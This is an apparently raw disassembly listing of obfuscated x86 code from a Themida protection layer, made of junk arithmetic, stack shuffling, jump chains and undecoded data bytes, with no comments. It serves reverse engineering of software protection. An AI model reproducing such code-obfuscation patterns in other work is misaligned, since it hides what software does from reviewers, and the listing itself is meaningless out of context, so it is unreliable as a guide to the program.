loc_551BCC:				; CODE XREF: Themida_:00563066j
		pop	edx
		push	bx
		mov	bl, cl
		inc	bl
		mov	cl, bl
		pop	bx
		jmp	loc_55536C
; ---------------------------------------------------------------------------
		dd 0DA37FFBAh, 5AD7297Dh, 5350D729h, 0D6EBE9h, 242C8900h
		dd 0EC83E589h, 0F9FFE904h, 0EE810000h, 4EB401DDh, 31DBA52h
		dd 0E0E96F79h, 0F7000086h, 81EED1DEh, 6D3B40C6h, 23F68163h
		dd 29B41D2Ch, 0F2015EF2h, 16D7E9h, 5EF00100h, 942A862Dh
		dd 0E9D0012Bh, 9D7Eh
; ---------------------------------------------------------------------------


loc_551C34:				; CODE XREF: Themida_:0055BBBCj
		push	30B0h
		mov	[esp], ebp
		mov	ebp, 0B0F7332h
		dec	ebp
		add	ebp, 7E2C308Bh
		sub	ebp, 892072F2h
		mov	edi, ebp
		mov	ebp, [esp]
		add	esp, 4
		sub	edx, 17A01657h
		add	edx, edi
		jmp	loc_5545A8
; ---------------------------------------------------------------------------
		dw 1489h
aItqhkv		db '$QhKV',0
		dd 243C8900h, 9E6963BFh, 68505708h, 58B65A60h, 0C8EDE958h
		dd 0CD890000h, 4EC8159h, 89000000h, 0D1BB241Ch,	830D770Ah
		dd 32E901EBh, 30000086h, 0E9D530EAh, 0C71Bh, 58D96E05h
		dd 58C62906h, 65A6C681h, 0C6013F72h, 0DF50E9h, 24248900h
		dd 81E18951h, 4C1h, 0E57BE900h,	37680000h, 8900004Bh, 74FF242Ch
		dd 2C8B0424h, 4C48124h,	8F000000h, 895C2404h, 58542404h
		dd 405h, 4EC8300h, 53242C89h, 0D397568h, 241C8B32h, 4C481h
		dd 81430000h, 0D3972EBh, 0FFDD8932h, 0E95B2434h, 1B96h
; ---------------------------------------------------------------------------


loc_551D18:				; CODE XREF: Themida_:00558B8Aj
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		pop	esp
		jmp	loc_55B9C9
; ---------------------------------------------------------------------------
		db 58h
		dd 0E92434FFh, 29BDh, 8CC4E953h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_551D36:				; CODE XREF: Themida_:00561127j
		pop	ebp
		jmp	loc_5624DF
; ---------------------------------------------------------------------------
		dd 30F5F681h, 6EE92E19h
		db 28h,	1, 0
; ---------------------------------------------------------------------------


loc_551D47:				; CODE XREF: Themida_:0055C36Cj
		pop	dword ptr [esp]
		jmp	loc_55C805
; ---------------------------------------------------------------------------
		db 89h
		dd 55BB241Ch, 0E9561D3Ch, 60A2h, 5E2434FFh, 8F04C483h
		dd 248B2404h, 240C8924h, 0FFDAA5E9h, 40F580FFh,	0F580D5F6h
		dd 9EED809Ch, 0C059EA08h, 0C28003EAh, 5AD58851h, 4CCFE9h
		db 0
; ---------------------------------------------------------------------------


loc_551D8D:				; CODE XREF: Themida_:0055ED19j
		mov	ebp, edi
		pop	edi
		push	ebp
		push	3F75h
		mov	[esp], edi
		mov	edi, 48B26A06h
		jmp	loc_554724
; ---------------------------------------------------------------------------
		db 51h
		dd 0C181E189h, 4, 8704C183h, 555C240Ch,	42474FFh, 83242C8Bh
		dd 48F04C4h, 2C2DE924h,	0D0890001h, 8324148Bh, 5A5E04C4h
		dd 8758C701h, 248B243Ch, 9CC88524h, 0FFDA35E9h,	2434FFFFh
		dd 4C4815Ah, 0E9000000h, 0FFFFDA26h, 83E9E089h,	5EFFFFDAh
		dd 0D427C781h, 0FD89F446h, 5DEF015Fh, 0A93DE9h,	0BCE78100h
		dd 685C9432h, 6DA9h, 0E9243489h, 993Ch,	0E9241489h, 0CEC4h
		dd 0D0E9EE21h, 5800012Bh, 9DB1E9h, 2DE78100h, 817B2821h
		dd 90A37EFh, 81D7F710h,	0C33D3EF7h, 0E9DFF735h,	21A2h
		dd 0A736E981h, 0D8E9FC45h
		db 0DCh, 2 dup(0)
; ---------------------------------------------------------------------------


loc_551E57:				; CODE XREF: Themida_:00556C2Aj
		shl	ecx, 2
		inc	ecx
		and	ecx, 7FE75CA8h
		xor	ecx, 7E460C0Ch
		add	edi, ecx
		pop	ecx
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		jmp	loc_5613AF
; ---------------------------------------------------------------------------


loc_551E79:				; CODE XREF: Themida_:00553F10j
		shr	ebx, 3
		push	eax
		jmp	loc_550963
; ---------------------------------------------------------------------------
		dw 0C481h
		dd 4, 0BA14E9h,	0F632B300h, 80D3F6DBh, 6AE989C3h
		db 0E6h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_551E9B:				; CODE XREF: Themida_:0055750Aj
		add	esp, 4
		jmp	loc_54F9C9
; ---------------------------------------------------------------------------
		dw 1C8Bh
		dd 4C48324h, 8304E0C1h,	1C8904ECh, 0B06BE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_551EBA:				; CODE XREF: Themida_:00559685j
		mov	esi, [esp]
		add	esp, 4
		push	1637h
		mov	[esp], esi
		mov	esi, 2
		jmp	loc_55493E
; ---------------------------------------------------------------------------
		db 68h,	0A6h, 28h
		dd 3C890000h, 2BF24h, 88E90000h, 56000064h, 0E826A368h
		dd 4FE95E13h, 0BE0000BAh, 56034F1Eh, 63EFE9h, 7E5C000h
		dd 0FFE83DE9h, 242C8BFFh, 66E6E9h
		db 0
; ---------------------------------------------------------------------------


loc_551F0D:				; CODE XREF: Themida_:005562EDj
		push	esp
		pop	ebx
		add	ebx, 4
		push	esi
		push	ebp
		push	69DAh
		mov	[esp], ebx
		mov	ebx, 25672D5Eh
		jmp	loc_550596
; ---------------------------------------------------------------------------
		db 89h,	14h, 24h
		dd 6D35E9h
		db 0
; ---------------------------------------------------------------------------


loc_551F31:				; CODE XREF: Themida_:0055DFFFj
		shr	esi, 8
		jmp	loc_558966
; ---------------------------------------------------------------------------


loc_551F39:				; CODE XREF: Themida_:0054FC9Cj
		push	5842h
		jmp	loc_553001
; ---------------------------------------------------------------------------
		db 8Fh
		dd 248B2404h, 27B5E924h
		db 1, 0
; ---------------------------------------------------------------------------


loc_551F4E:				; CODE XREF: Themida_:00564978j
		pop	dword ptr [esp]
		pop	esp
		push	edi
		mov	edi, 623170FCh
		sub	esi, edi
		pop	edi
		push	esi
		push	esp
		pop	esi
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		jmp	loc_55B854
; ---------------------------------------------------------------------------
aLsl		db 'lL',0
		align 2
		dw 0C14Eh
		dd 0EEC108E6h, 6E6C104h, 5C04C681h, 0F3295EE6h,	241C875Eh
		dd 241C895Ch, 123E68h, 9E33E900h, 0E6890000h, 4C681h, 0C6810000h
		dd 4, 5C243487h, 80ACEF80h, 0EFC0ECE7h,	5EF78003h, 96E8E9h
		dd 74FF5100h, 8F590424h, 248B2404h, 243C3324h, 0FFDCFEE9h
		dd 241C8BFFh, 8904C483h, 0C8B5BDDh, 0E6895624h,	4C681h
		dd 0C6830000h, 74FF5604h, 8F5E0424h, 248B2404h,	1C6F2124h
		dd 5D2434FFh, 9668h, 572BE900h,	0E2890000h, 97B68h, 240C8900h
		dd 1197DE9h
		db 0
; ---------------------------------------------------------------------------


loc_552019:				; CODE XREF: Themida_:0055C1EBj
		or	edx, ebp
		pop	ebp
		shr	edx, 5
		jmp	loc_55D754
; ---------------------------------------------------------------------------
		dd 2559C889h, 15045132h, 68h, 24042900h, 0B9514858h, 107h
		dd 4C4BDE2Dh, 0E9C80109h, 0FFFFF428h, 8245429h,	246C015Ah
		dd 19756804h, 3C890000h, 0FA55E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55205E:				; CODE XREF: Themida_:005644B7j
		pop	edx
		or	ebx, ebx
		jmp	loc_5609C8
; ---------------------------------------------------------------------------
		dw 0E95Bh
		dd 56F3h, 5158C329h, 0C889D989h, 733E959h, 0E9580000h
		dd 0E771h, 3871EF81h, 6E907FAh
		db 24h,	1, 0
; ---------------------------------------------------------------------------


loc_55208B:				; CODE XREF: Themida_:0055E6C2j
		dec	edx
		not	edx
		jmp	loc_561EE3
; ---------------------------------------------------------------------------
		db 89h
		dd 0E2892414h, 4C281h, 0C2830000h, 1A94E902h, 4890001h
		dd 0FDC4E924h, 0C330000h, 240C3124h, 122C0E9h, 24048100h
		dd 4, 8324048Fh, 8B042404h, 0E5E92414h,	580000DBh, 0A7EAE9h
		dd 24248900h, 4240483h,	85E95258h, 330000DFh, 4312404h
		dd 24043324h, 8924248Bh, 0BD552434h, 422325Dh, 0C4E945h
		dd 248B0001h, 24148924h, 0EC83E289h, 241C8904h,	4BBh, 7EA8100h
		dd 81460B27h, 5D2E65EAh, 81DA0132h, 5D2E65C2h, 0A75E932h
		dd 0C3680000h, 8900000Eh, 4832424h, 2C8B0424h, 1C53E924h
		db 1, 0
; ---------------------------------------------------------------------------


loc_55213E:				; CODE XREF: Themida_:0055B219j
		mov	esi, [esp]
		add	esp, 4
		shl	ebp, 3
		not	ebp
		jmp	loc_55DB46
; ---------------------------------------------------------------------------
		dw 11B1h
		dd 0F180C9FEh, 6E9C020h, 5008E1C0h, 8568E9h, 24E95000h
		db 0E9h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_552167:				; CODE XREF: Themida_:00557DB6j
		push	4E0Fh
		mov	[esp], ebx
		sub	esp, 4
		mov	[esp], ebp
		push	68564159h
		mov	ebp, [esp]
		add	esp, 4
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		jmp	loc_55DEEA
; ---------------------------------------------------------------------------


loc_55219B:				; CODE XREF: Themida_:0055FAC1j
		shl	edx, 6
		add	edx, 2E512A73h
		neg	edx
		jmp	loc_55F3C6
; ---------------------------------------------------------------------------


loc_5521AB:				; CODE XREF: Themida_:00562E4Cj
		add	dh, 0FFh
		and	dh, 18h
		shr	dh, 8
		and	dh, 0A3h
		jmp	loc_559F25
; ---------------------------------------------------------------------------
		dd 529CEB80h, 0FFD9BCE9h, 2C895CFFh, 7BA0BD24h,	0DDF70CFAh
		dd 68h,	242C2900h, 0ED81455Dh, 0CFA7B9Dh, 1B0AEF81h, 0C7811C22h
		dd 7FA3871h, 3607EF81h,	0EF01150Ch, 9955E9h
		db 0
; ---------------------------------------------------------------------------


loc_5521F9:				; CODE XREF: Themida_:0055FC66j
		pop	esp
		shl	ecx, 7
		add	ecx, 487944D0h
		add	ecx, 0FFFFFFFFh
		push	edi
		mov	edi, 46600D7Ch
		jmp	loc_55B5C2
; ---------------------------------------------------------------------------
		db 81h,	0EEh, 0A6h
		dd 0FF6CA45Bh, 0BAE92434h
		db 88h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55221F:				; CODE XREF: Themida_:0056463Fj
		add	ebx, edi
		sub	ebx, 0F061FCAh
		sub	ebx, 6A3D1B9Ch
		push	dword ptr [ebx]
		sub	dword ptr [esp], 45B228EBh
		mov	ecx, [esp]
		add	esp, 4
		push	edi
		mov	edi, 45B228EBh
		add	ecx, edi
		jmp	loc_55D2AD
; ---------------------------------------------------------------------------


loc_55224C:				; CODE XREF: Themida_:00561184j
		add	eax, ebx
		pop	ebx
		pop	edi
		push	eax
		push	dword ptr [esp+4]
		pop	eax
		jmp	loc_55B5D5
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0B1E92424h, 33FFFFF1h, 14312414h, 24143324h,	1943685Ch
		dd 2C890000h, 5973BD24h, 0F5812870h, 2D730C8Ch,	107ACE9h
		dd 24048F00h, 2C5835Ch,	5C242C87h, 55E9F766h, 0D963E954h
		dd 2D5FFFFFh, 4, 0FFFE3EE9h, 4DE995FFh
		db 0Fh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5522AB:				; CODE XREF: Themida_:00555B8Bj
		sub	ebp, 507D44ECh
		add	ebp, 104F1300h
		sub	ebp, 2A9F1EBBh
		not	ebp
		jmp	loc_553E50
; ---------------------------------------------------------------------------
		dd 10C180h, 0EE8059CEh,	0B5C38016h, 54EB80h, 54C380F3h
		dd 66B1B551h, 0E904B050h, 77D4h
; ---------------------------------------------------------------------------


loc_5522E4:				; CODE XREF: Themida_:0055AFF9j
		pop	dword ptr [esp]
		pop	esp
		add	esp, 4
		jmp	loc_560F9C
; ---------------------------------------------------------------------------
		dd 299DC581h, 0C5810E9Bh, 944F717Eh, 2C8BEB29h,	4C48324h
		dd 5BE9D801h, 2DFFFFFDh, 7109633Fh, 71722Dh, 5861E92Ch
		dd 0EC810000h, 4, 0B6241489h, 0B5516691h, 66EE30AFh, 582C59h
		dd 0C65E9F0h
		db 1, 0
; ---------------------------------------------------------------------------


loc_552336:				; CODE XREF: Themida_:00556CDFj
		sub	eax, 4FA70366h
		add	eax, edi
		add	eax, 4FA70366h
		pop	edi
		push	dword ptr [esp]
		pop	edx
		jmp	loc_5624D5
; ---------------------------------------------------------------------------
		dd 9C240428h, 0FFD4C1E9h, 8BCF29FFh, 52E9240Ch,	680000B5h
		dd 1443h, 831EE9h
		db 0
; ---------------------------------------------------------------------------


loc_552369:				; CODE XREF: Themida_:005621A2j
		pop	edx
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ebx
		push	esp
		mov	ebx, [esp]
		add	esp, 4
		add	ebx, 4
		push	ebp
		mov	ebp, 4
		add	ebx, 75B40CCCh
		push	ebp
		mov	ebp, 6F0E60EBh
		jmp	loc_564101
; ---------------------------------------------------------------------------


loc_5523A4:				; CODE XREF: Themida_:00559D05j
		add	dword ptr [esp+4], 0A9B2563h
		jmp	loc_55F051
; ---------------------------------------------------------------------------


loc_5523B1:				; CODE XREF: Themida_:00557064j
		inc	edi
		neg	edi
		xor	edi, 63E811B1h
		shl	edi, 8
		sub	edi, 0F368F295h
		sub	ebx, edi
		pop	edi
		add	ebx, edi
		add	ebx, 962036Bh
		jmp	loc_55460F
; ---------------------------------------------------------------------------


loc_5523D3:				; CODE XREF: Themida_:00559FBDj
		sub	eax, edi
		sub	eax, 2D5A491Bh
		push	edi
		mov	edi, 17A0169Dh
		and	edi, 1DF2708h
		dec	edi
		jmp	loc_559ADB
; ---------------------------------------------------------------------------
		dd 348BF789h, 4C48124h,	0E9000000h, 1E2Ch, 0C158C189h
		dd 0E98105E9h, 2CB66299h, 0E907E1C1h, 5DCFh
; ---------------------------------------------------------------------------


loc_552410:				; CODE XREF: Themida_:0055D46Cj
		pop	eax
		jmp	loc_55CD22
; ---------------------------------------------------------------------------


loc_552416:				; CODE XREF: Themida_:0055BF1Ej
		mov	[esp], ecx
		mov	ecx, 18087534h
		xor	ecx, 2AEF453Ah
		sub	ecx, 758C6204h
		or	ecx, 27E4623Ah
		not	ecx
		jmp	loc_561798
; ---------------------------------------------------------------------------


loc_552437:				; CODE XREF: Themida_:00555841j
		pop	edi
		xor	[esp+4], ebp
		jmp	loc_5570F8
; ---------------------------------------------------------------------------
aCSom		db ')鮌',0
		dd 58E18800h, 888FF180h, 0E58859CCh, 0FA9FE958h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55245E:				; CODE XREF: Themida_:005598C5j
		sub	eax, 0EBF3BF8Fh
		add	eax, 9951082h
		push	edi
		push	ebx
		mov	ebx, 64433768h
		jmp	loc_55553F
; ---------------------------------------------------------------------------
		dd 0BB241C89h, 14B60D70h, 4EC81h, 2C890000h, 4B56BD24h
		dd 0E5817B5Ch, 57D350E5h, 0F581DDF7h, 46917F0Eh, 771368h
		dd 24048900h, 657FBD55h, 0E8894CB8h, 0EC38E95Dh, 0EA83FFFFh
		dd 85F28101h, 0E910953Ah, 9C8Ch, 4BDh, 5DEB0100h, 2474FF53h
		dd 241C8B04h, 8F04C483h, 248B2404h, 27FCE924h, 0E5890001h
		dd 7176E9h, 0EEF58100h,	0E9D83B49h, 3C6Bh, 81E68956h, 4C6h
		dd 4EE8300h, 5C243487h,	0BF243C89h, 787E157Ah, 7E5CEF81h
		dd 0DFF71A21h, 0FFFFC781h, 0F781FFFFh, 812A04F6h, 3C8BF931h
		dd 63685324h, 8900002Bh, 4832424h, 505B0424h, 471EE953h
		dd 1C890000h, 7F10BB24h, 0E3816973h, 65D83AF9h,	70ABC381h
		dd 0B4E91CC6h
		db 0EFh, 2 dup(0)
; ---------------------------------------------------------------------------


loc_55254B:				; CODE XREF: Themida_:0056030Cj
		sub	[esp+4], edx
		pop	edx
		mov	ecx, [esp]
		add	esp, 4
		add	ecx, 74D14812h
		pop	eax
		xor	ecx, ebp
		pop	ebp
		dec	ecx
		jmp	loc_55FCD9
; ---------------------------------------------------------------------------
		dw 0C483h
		dd 0D2A8E904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55256E:				; CODE XREF: Themida_:00558066j
		push	dword ptr [esp]
		mov	edx, [esp]
		add	esp, 4
		push	eax
		push	esp
		pop	eax
		push	ecx
		push	edx
		mov	edx, 4
		jmp	loc_55BB18
; ---------------------------------------------------------------------------
		db 81h,	0C7h, 4
		dd 87000000h, 15C243Ch,	4EC81C6h, 89000000h, 0EC812404h
		dd 4, 0E9243C89h, 791Eh, 3304C783h, 3C31243Ch, 0FAB6E924h
		dd 0C5FE0000h, 0E96FC580h, 6972h, 88CB8853h, 0F8E95BDEh
		db 0ADh, 2 dup(0)
; ---------------------------------------------------------------------------


loc_5525CF:				; CODE XREF: Themida_:00561B97j
		pop	ebp
		add	eax, 186410A0h
		sub	eax, edi
		push	1C8h
		mov	[esp], ebx
		mov	ebx, 186410A0h
		sub	eax, ebx
		mov	ebx, [esp]
		jmp	loc_55BBC1
; ---------------------------------------------------------------------------
		dw 8966h
		dd 2EE9240Ch, 0BD0000BFh, 2, 54D7EB81h,	0B9513482h, 1DB03D79h
		dd 0A8E9CB29h, 0B80000BAh, 4, 0E958C589h, 0EA34h
; ---------------------------------------------------------------------------


loc_55261C:				; CODE XREF: Themida_:00554078j
		add	edi, esi
		pop	esi
		xchg	edi, [esp]
		jmp	loc_559FE0
; ---------------------------------------------------------------------------
		db 81h
		dd 1C7h, 0C3EF8100h, 0E9776CD1h, 1236h
; ---------------------------------------------------------------------------


loc_552638:				; CODE XREF: Themida_:00555733j
		add	ebx, ecx
		jmp	loc_558270
; ---------------------------------------------------------------------------
		db 1
		dd 0BE2E9F8h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_552646:				; CODE XREF: Themida_:0055EAD8j
		mov	edi, 550B4A79h
		push	eax
		mov	eax, 4BB162AEh
		push	ebp
		mov	ebp, 50D6520Ah
		jmp	loc_557635
; ---------------------------------------------------------------------------
		dd 81242C8Bh, 4C4h, 178E900h, 0E7890001h, 4C781h, 0EF810000h
		dd 4, 31243C33h, 3C33243Ch, 0C895C24h, 2B924h, 0E9570000h
		dd 1E7Ch, 0E9515F54h, 23DDh, 8704C083h,	8FE92404h, 8B0000D0h
		dd 83E9242Ch, 6600004Dh, 2D66D829h, 5B6668E7h, 66F00166h
		dd 660E8368h, 0E9243489h, 0A182h, 9D1C77FFh, 4105866h
		dd 43E99C24h
		db 0D1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5526D3:				; CODE XREF: Themida_:0055121Aj
		pop	eax
		xchg	edx, [esp]
		pop	esp
		jmp	loc_55CF3F
; ---------------------------------------------------------------------------
		db 89h,	1Ch, 24h
		dd 0DCAE9h
		db 0
; ---------------------------------------------------------------------------


loc_5526E5:				; CODE XREF: Themida_:0055DEE5j
		shr	esi, 8
		not	esi
		sub	esi, 0FFDBED0Ah
		add	edx, esi
		pop	esi
		xchg	edx, [esp]
		mov	esp, [esp]
		add	esp, 4
		sub	eax, 156A258Eh
		or	eax, eax
		jnz	loc_558E3D
		push	16E57827h
		push	dword ptr [esp]
		pop	edx
		push	ebp
		push	esp
		jmp	loc_556ECC
; ---------------------------------------------------------------------------
		db 0BDh, 4Eh, 76h
		dd 0EDC164DDh, 5AB06805h, 97E90000h
		db 18h,	1, 0
; ---------------------------------------------------------------------------


loc_55272B:				; CODE XREF: Themida_:0055F245j
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp]
		jmp	loc_56031C
; ---------------------------------------------------------------------------
aYsC		db 'Y=',0
		align 4


loc_552748:				; CODE XREF: Themida_:00557E21j
		dec	ebx
		shl	ebx, 3
		push	ebx
		not	dword ptr [esp]
		pop	ebx
		jmp	loc_55BA1C
; ---------------------------------------------------------------------------


loc_552756:				; CODE XREF: Themida_:0055B7A8j
		sub	ecx, 540BF20Ah
		jmp	loc_5619E0
; ---------------------------------------------------------------------------
		db 5Ch,	50h, 0B8h
		dd 564A3529h, 105h, 5697E900h, 8B660000h, 26682404h, 8900002Fh
		dd 0EC83243Ch, 24248904h, 4240483h, 8B2434FFh, 0C481243Ch
		dd 4, 0BF8BE955h, 15E0000h, 7B992DC8h, 0E1E9769Eh, 5A00005Bh
		dd 0FFF363E9h, 241C8BFFh, 0BA04C483h, 841480F1h, 0E0D3E957h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5527BE:				; CODE XREF: Themida_:00557292j
		add	edx, eax
		jmp	loc_56188C
; ---------------------------------------------------------------------------


loc_5527C5:				; CODE XREF: Themida_:0055358Cj
		push	0A0Ah
		mov	[esp], esi
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_55DFEC
; ---------------------------------------------------------------------------
		db 81h,	0EFh, 0
		dd 89ED3378h, 243C8BFEh, 4C481h, 0BF570000h, 3480260Ch
		dd 83E7814Fh, 0C1324204h, 0E78103EFh, 4920165Bh, 2A46F781h
		dd 0F801210Eh, 0EBD2E9h, 0ADEE8100h, 890C1104h,	0F9E95EF2h
		db 15h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_552827:				; CODE XREF: Themida_:0056056Aj
		add	ebp, 4
		add	ebp, 4
		jmp	loc_562CD1
; ---------------------------------------------------------------------------
		dd 34FFE300h, 24048B24h, 4C481h, 38E90000h, 68000023h
		dd 604h, 89243C89h, 0BF5752E7h,	4, 0E95FFA89h, 0FFFFE9BBh
		dd 1E41E9BEh, 87A0BB58h, 0F3296557h, 5E2434FFh,	0C104C483h
		dd 0EBD104EBh, 1189C381h, 0EB816DDFh, 1CFC3C11h, 4EC81h
		dd 14890000h, 3D6CE924h, 50570000h, 0CA4213B8h,	2EBB5337h
		dd 814AD055h, 45D0A2C3h, 13252DDBh, 0D8296E94h,	94132505h
		dd 0C9E95B6Eh, 5A000124h, 5C241C87h, 0FFEC66E9h, 0AEEE81FFh
		dd 0FF2DA62Ah, 0F7E92434h
		db 97h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5528D3:				; CODE XREF: Themida_:0055E720j
		xor	al, bl
		mov	bx, [esp]
		push	ebx
		mov	ebx, esp
		push	edx
		mov	edx, 4
		add	ebx, edx
		pop	edx
		push	edi
		mov	edi, 2
		add	ebx, edi
		pop	edi
		xchg	ebx, [esp]
		jmp	loc_559447
; ---------------------------------------------------------------------------


loc_5528F6:				; CODE XREF: Themida_:0055A916j
		push	ebp
		mov	ebp, esp
		push	edi
		push	eax
		mov	eax, 24AA41F1h
		mov	edi, 0A3E18984h
		sub	edi, eax
		pop	eax
		sub	edi, 1
		neg	edi
		xor	edi, 80C8B86Ah
		add	ebp, edi
		pop	edi
		push	eax
		mov	eax, 2589786Bh
		jmp	loc_558288
; ---------------------------------------------------------------------------
		dd 305BD888h, 885866C3h, 2CE95BDEh, 81FFFFFAh, 4C6h, 4EE8100h
		dd 87000000h, 248B2434h, 24148924h, 0EB2EFFBAh,	0D7856846h
		dd 0F1E9800Bh
		db 2Fh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_552957:				; CODE XREF: Themida_:00558CE8j
		mov	edx, 3A84259Bh
		sub	ecx, edx
		pop	edx
		sub	ecx, 0C7A14B0Bh
		jmp	loc_562C8E
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		pop	edx
		xor	bl, al
		push	79C2h
		mov	[esp], esi
		push	esp
		pop	esi
		jmp	loc_562733
; ---------------------------------------------------------------------------


loc_55298F:				; CODE XREF: Themida_:005549DBj
		xor	eax, ebx
		jmp	loc_556471
; ---------------------------------------------------------------------------
		dw 3489h
		dd 5E196824h, 0C890000h, 2873B924h, 0CE890D72h,	8BF00159h
		dd 0C4812434h, 4, 48B1888h, 5B545324h, 98BEE956h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5529C2:				; CODE XREF: Themida_:00552B2Bj
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		jmp	loc_5588D5
; ---------------------------------------------------------------------------
		dd 0C2F1815Dh, 8978B64Eh, 500AE9CFh, 55590000h,	22727BBDh
		dd 0B2E95739h, 8F000029h, 248B2404h, 241C8924h,	0FD3AB4BBh
		dd 0CF73E91Dh, 3C890000h, 5174E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_552A0E:				; CODE XREF: Themida_:005577C0j
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		jmp	loc_56499D
; ---------------------------------------------------------------------------
		db 28h,	0F0h, 2Ch
		dd 148B6636h, 2C48124h,	0FF000000h, 1C8B2434h, 0D5E95124h
		db 0D7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_552A3B:				; CODE XREF: Themida_:0055C9D3j
		mov	ebx, 5C016823h
		mov	esi, 5C016824h
		sub	esi, ebx
		pop	ebx
		push	eax
		mov	eax, 364C45EEh
		jmp	loc_5598BD
; ---------------------------------------------------------------------------
		db 89h
		dd 8852240Ch, 5AF188C6h, 0C8BCF88h, 0E6895624h,	4C681h
		dd 3E90000h, 0B900001Ch, 78D6482Eh, 780EF181h, 0CB091B0Ah
		dd 0E9240C8Bh, 5A73h, 26EA8158h, 163005Fh, 6AE957CAh, 890000C7h
		dd 0E9515DE9h, 0FFFFE705h
; ---------------------------------------------------------------------------


loc_552A9C:				; CODE XREF: Themida_:0055B9ADj
		sub	ebp, 66AA4E35h
		xor	ebp, 6AF36C96h
		jmp	loc_555E34
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 0Ch
		dd 0E2895224h, 34F368h,	24348900h, 5D4CC7BEh, 3E6C131h
		dd 0F76AC681h, 0D6F78B6Ch, 2208CE81h, 0E9520967h, 11240h
; ---------------------------------------------------------------------------


loc_552AD8:				; CODE XREF: Themida_:00563E3Dj
		mov	ebp, [esp]
		add	esp, 4
		and	ecx, ebp
		push	dword ptr [esp]
		pop	ebp
		push	ecx
		push	esp
		jmp	loc_55F593
; ---------------------------------------------------------------------------
		db 0E9h
		dd 0FFFFCD26h, 8B2434FFh, 0A6E92404h, 8300007Dh, 0FFE904C4h
		db 0B8h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_552B03:				; CODE XREF: Themida_:0055854Cj
		pop	edx
		sub	edx, edi
		pop	edi
		and	eax, edx
		jmp	loc_55F510
; ---------------------------------------------------------------------------
		dw 0E95Ch
		dd 7D0Eh, 196BC281h, 0EA294E57h, 4D41E9h
		db 0
; ---------------------------------------------------------------------------


loc_552B21:				; CODE XREF: Themida_:005503C3j
		not	ecx
		xchg	ecx, [esp]
		push	dword ptr [esp]
		pop	ecx
		push	ebp
		jmp	loc_5529C2
; ---------------------------------------------------------------------------


loc_552B30:				; CODE XREF: Themida_:0055461Bj
		add	ebx, 4
		xor	ebx, [esp]
		jmp	loc_55F6EC
; ---------------------------------------------------------------------------


loc_552B3B:				; CODE XREF: Themida_:00561135j
		or	ebx, 45444E05h
		add	ebx, 0E47A8AC2h
		mov	edx, ebx
		pop	ebx
		sub	edx, 1
		jmp	loc_5579FE
; ---------------------------------------------------------------------------
		dw 0E956h
		dd 0FFFFE39Eh
; ---------------------------------------------------------------------------


loc_552B58:				; CODE XREF: Themida_:0056471Fj
		not	edx
		jmp	loc_562562
; ---------------------------------------------------------------------------
		db 81h
		dd 4C5h, 4ED8300h, 0FFF161E9h, 54C181FFh, 89C850FFh, 0B2CEE9CFh
		dd 0FA010000h, 70D868h,	241C8900h, 30FE68h, 240C8900h
		dd 2020E9h, 91C18100h, 1BCDE90h, 0D0E959CBh, 5300000Fh
		dd 0FB3705BBh, 0D3F74B58h, 0C381D3F7h, 6E2C4297h, 241BEB81h
		dd 0F3811E84h, 0EEA87287h, 10490E9h, 37EA8000h,	0C280E2D0h
		dd 8FC280E5h, 8826F280h, 0CF305AD7h, 54F65359h,	805B0124h
		dd 0A7E90FEFh, 81000096h, 4C7h,	4C78300h, 5C243C87h, 0A868h
		dd 241C8900h, 0A4BFE9h,	35D0F700h, 9F4B96CEh, 0E958C501h
		dd 0FFFFD9C2h
; ---------------------------------------------------------------------------


loc_552C0C:				; CODE XREF: Themida_:0054FD57j
		xor	[esp], edx
		xor	edx, [esp]
		pop	esp
		push	esi
		mov	esi, 7DB80F7Eh
		add	ebx, esi
		pop	esi
		add	ebx, 2BB40775h
		push	edi
		jmp	loc_54FB37
; ---------------------------------------------------------------------------
		dd 0C35D00BAh, 5AD38950h, 368BBF57h, 0EFD12EA6h, 5BEFF781h
		dd 0B8502949h, 6B63F84h, 7CCDC781h, 0C72952A7h,	7CCDEF81h
		dd 48B52A7h, 4C48324h, 2E8AC781h, 0F829F76Bh, 0E9243C8Bh
		dd 0EDB9h, 36F2815Dh, 535E4E58h, 0C40DFFBBh, 0DC8BE957h
		dd 0C381FFFFh, 0B8923FE4h, 0C15BDD89h, 0ED8106E5h, 494AD442h
		dd 2D5DE801h, 0D722873h, 0E808E9h, 0E9F80100h, 6968h, 0B652F328h
